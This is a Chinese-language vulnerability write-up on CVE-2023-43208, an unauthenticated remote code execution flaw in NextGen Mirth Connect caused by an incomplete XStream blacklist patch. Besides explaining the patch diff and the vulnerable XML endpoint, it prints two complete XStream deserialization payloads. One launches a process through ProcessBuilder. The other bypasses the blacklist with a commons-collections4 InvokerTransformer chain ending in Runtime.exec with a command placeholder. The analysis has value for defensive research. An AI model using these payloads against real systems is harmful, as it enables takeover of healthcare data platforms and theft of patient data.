漏洞信息
漏洞名称:CVE-2023-43208 NextGen Mirth Connect 远程代码执行漏洞
漏洞编号:CVE-2023-43208
漏洞介绍:NextGen HealthCare 的 Mirth Connect 是一个被医疗保健公司广泛使用的开源数据集成平台。低于 4.4.1 的版本容易受到未经身份验证的远程代码执行漏洞 CVE-2023-43208 的影响。该漏洞是由 CVE-2023-37679 的不完整补丁引起的。
环境搭建
https://github.com/nextgenhealthcare/connect/tags
先安装 Java 环境,这里是 Java8,然后下载对应系统的压缩包,解压后启动 mcserver 即可:


漏洞分析
这个漏洞是 CVE-2023-37679 的补丁绕过导致的漏洞,所以先找这个漏洞,该漏洞在 4.3.0 发现 4.4.0 修复:
https://github.com/nextgenhealthcare/connect/compare/4.3.0...4.4.0
根据漏洞发现时间看看提交,修复应该是这里:


这里添加了些类似黑名单的东西,先找了下 XStream 的历史漏洞,不过发现这个 1.4.19 是没有 RCE 的,1.4.17 后就默认开启白名单了,这里漏洞成因是这个:
xstream.addPermission(AnyTypePermission.ANY);

可以处理任何类型的对象,那直接找哪里调了这个反序列化的就行:

最后的利用点是找到了这里:

这个 readFrom是 JAX-RS MessageBodyReader 接口中定义的标准方法,用于读取请求实体并将其映射到 Java 对象。
在配合上面的注解:

这个类型的都会给这个 readFrom 去转换,那么搜一下 MediaType.APPLICATION_XML:

有很多,不过大部分好像是需要登录的:

找了下是个 swagger:

简单跑了下未授权的接口,找了个 XStream 的 payload 试了下:

而上面使用的 payload 只能影响 java 8 的版本,原因是 Java 9 引入了 “模块” 的概念来更好地封装 Java 库,从 Java 17 开始,JRE 明确禁止访问模块化库的私有成员,这也就导致了上面的 payload 在其他的 java 版本中利用失败。

horizon3.ai 找到了下面的代替类:
1
| apache.commons.lang3 org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler
|
上面可以看到其采用的是黑名单的方式去修复的,黑名单也来自于 XStream 官网,而 XStream 说明其并不考虑第三方库中的类,这也就导致了可以使用 org.apache.commons.collections4.functors.InvokerTransformer
来进行命令执行,绕过黑名单的限制。
原版 payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <sorted-set> <string>foo</string> <contact class='dynamic-proxy'> <interface>java.lang.Comparable</interface> <handler class='java.beans.EventHandler'> <target class='java.lang.ProcessBuilder'> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </contact> </sorted-set>
|
bypass 的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <sorted-set> <string>abcd</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"> <target class="org.apache.commons.collections4.functors.ChainedTransformer"> <iTransformers> <org.apache.commons.collections4.functors.ConstantTransformer> <iConstant class="java-class">java.lang.Runtime</iConstant> </org.apache.commons.collections4.functors.ConstantTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> <iMethodName>getMethod</iMethodName> <iParamTypes> <java-class>java.lang.String</java-class> <java-class>[Ljava.lang.Class;</java-class> </iParamTypes> <iArgs> <string>getRuntime</string> <java-class-array/> </iArgs> </org.apache.commons.collections4.functors.InvokerTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> <iMethodName>invoke</iMethodName> <iParamTypes> <java-class>java.lang.Object</java-class> <java-class>[Ljava.lang.Object;</java-class> </iParamTypes> <iArgs> <null/> <object-array/> </iArgs> </org.apache.commons.collections4.functors.InvokerTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> <iMethodName>exec</iMethodName> <iParamTypes> <java-class>java.lang.String</java-class> </iParamTypes> <iArgs> <string><<COMMAND>></string> </iArgs> </org.apache.commons.collections4.functors.InvokerTransformer> </iTransformers> </target> <methodName>transform</methodName> <eventTypes> <string>compareTo</string> </eventTypes> </handler> </dynamic-proxy> </sorted-set>
|
参考链接